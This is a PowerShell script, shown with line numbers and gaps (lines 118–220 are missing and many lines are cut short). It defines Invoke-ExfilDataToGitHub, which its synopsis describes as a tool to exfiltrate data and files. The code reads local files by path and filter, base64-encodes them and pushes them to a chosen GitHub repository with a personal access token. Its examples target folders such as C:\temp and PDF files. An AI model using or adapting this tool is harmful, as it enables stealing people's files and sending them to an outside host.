```
1   function Invoke-ExfilDataToGitHub
2   {
3
4   <#
5
6   .SYNOPSIS
7   Use this script to exfiltrate data and files to a GitHub account.
8   Using GitHub v3 REST API tutorial here
9   https://channel9.msdn.com/Blogs/trevor-powershell/Automating-the-GitHub-REST-API-Using-PowerShell
10
11
12  .DESCRIPTION
13
14  .PARAMETER GHUser
15  GitHub Username
16
17  .PARAMETER GHRepo
18  GitHub repository
19
20  .PARAMETER GHPAT
21  GitHub Personal Access Token
22
23  .PARAMETER GHFilePath
24  GitHub filepath not including the filename so eg. testfolder/
```

```
25
26      .PARAMETER LocalFilePath
27      Local file path of files to upload
28
29      .PARAMETER GHFileName
30      GitHub filename eg. testfile.txt
31
32      .PARAMETER Filter
33      Local file filter eg. '*.*' to get all files (default), '*.pdf' for all pdfs, or 'file.txt, file2.d
34
35      .PARAMETER Data
36      Data to write to file
37
38      .SWITCH Recurse
39      Recursively get files from subdirectories of given local filepath
40
41
42
43      .EXAMPLE
44      # This example exfiltrates data to a file - keys do not work
45
46      Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2N
47                                                  -GHFilePath "testfolder/" -GHFileName "testfile3" -
48      .EXAMPLE
49      # This example exfiltrates files from a given directory and filter
50      Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2N
51         -GHFilePath "testfolder/" -LocalfilePath "C:\temp\" -Filter "*.pdf"
52
53
54      .EXAMPLE
55      # This examples exfiltrates specific files from a given directory
56      Invoke-ExfilDataToGitHub -GHUser nnh100 -GHRepo exfil -GHPAT "ODJiZGI5ZjdkZTA3MzQzYWU5MGJjNDA3ZWU2N
57          -GHFilePath "testfolder" -LocalfilePath "C:\temp" -Filter "play.pptx, test.pub, blank.docx" -Re
58
59      #>
60
61          [CmdletBinding()] Param(
62
63              [Parameter(Position = 0, Mandatory = $True)]
64              [String]
65              $GHUser,
66
67              [Parameter(Position = 1, Mandatory = $True)]
68              [String]
69              $GHRepo,
70
```

```
71              [Parameter(Position = 2, Mandatory = $True)]
72              [String]
73              $GHPAT, # This should be base64 encoded
74
75              [Parameter(Position =3, Mandatory = $True)]
76              [String]
77              $GHFilePath,
78
79              [Parameter(Position = 4, Mandatory=$True, ParameterSetName="ExfilFilesFromFilePath")]
80              [String]
81              $LocalFilePath,
82
83              [Parameter(Position = 4, Mandatory = $True, ParameterSetName="ExfilDataToFile")]
84              [String]
85              $GHFileName,
86
87              [Parameter(Position = 5, Mandatory = $True, ParameterSetName="ExfilFilesFromFilePath")]
88              [String]
89              $Filter = "*.*",
90
91              [Parameter(Position = 5, Mandatory = $True, ParameterSetName="ExfilDataToFile")]
92              [String]
93              $Data,
94
95              [Parameter(Mandatory = $False, ParameterSetName="ExfilFilesFromFilePath")]
96              [switch]
97              $Recurse = $False
98
99
100
101         )
102
103
104         # Decode the GitHub Personal Access Token
105         $GHPAT = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($GHPAT))
106
107         # Get the PAT in the correct format
108         $Token = $GHUser + ":" + $GHPAT
109
110         # Convert this to Base64
111         $Base64Token = [System.Convert]::ToBase64String([char[]]$Token)
112
113         $Headers = @{
114             Authorization =  'Basic {0}' -f $Base64Token;
115         };
116
```

```
117
```

```
221
222         ForEach ($file in $Files){
223
224             Try {
225
226                 # Construct the API URL
227                 $GHAPI = "https://api.github.com/repos/" + $GHUser + "/" + $GHRepo + "/contents/" + $GH
228
229
230                 # Check to see if the file already exists
231                 $Body = @{
232                     path = $GHFilePath + $file.Name;
233                     ref = "master";
234                 }
235
236                 Try {
237                     $content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Get
238                     # If we get here that means we were able to get the contents so get hold of the sha
239                     $sha = $content.sha
240                 }
241                 Catch {
242                     $ErrorMessage = "Trying to get file contents: " + $_.Exception.Message;
243                     Write-Error $ErrorMessage;
244                 }
245
246                 # Delete the file if it already exists
247                 if ($sha -ne $null){
248
249                     $Body = @{
250                         path = $file.Name;
251                         message = "deleted file";
252                         sha = $sha;
253                     } | ConvertTo-Json;
```

```
254
255                     try {
256                         Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Delete -Err
257                     }
258                     catch{
259                         $ErrorMessage = "Trying to delete file: " + $_.Exception.Message;
260                         Write-Error $ErrorMessage;
261                     }
262                 }
263
264                 # Upload the file
265                 # Get the file as a byte array
266                 $FileBytes = Get-Content -Path $file.FullName -Encoding Byte
267                 # Base 64 encode the byte array
268                 $Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes)
269
270                 # Set the body context for GitHub
271                 $Body = @{
272                     path = $file.Name
273                     content = $Base64EncodedFileBytes;
274                     encoding = 'base64'
275                     message = "Commit at: " + (Get-Date);
276                 } | ConvertTo-Json
277
278                 $content = Invoke-RestMethod -Headers $Headers -Uri $GHAPI -Body $Body -Method Put -Err
279
280
281             }
282             Catch {
283                 $ErrorMessage = "Trying to upload file " + $file.FullName + " :" + $_.Exception.Message
284                 Write-Error $ErrorMessage
285
286             }
287
288         }
289
290     }
291
292     #endregion
293
294     }
```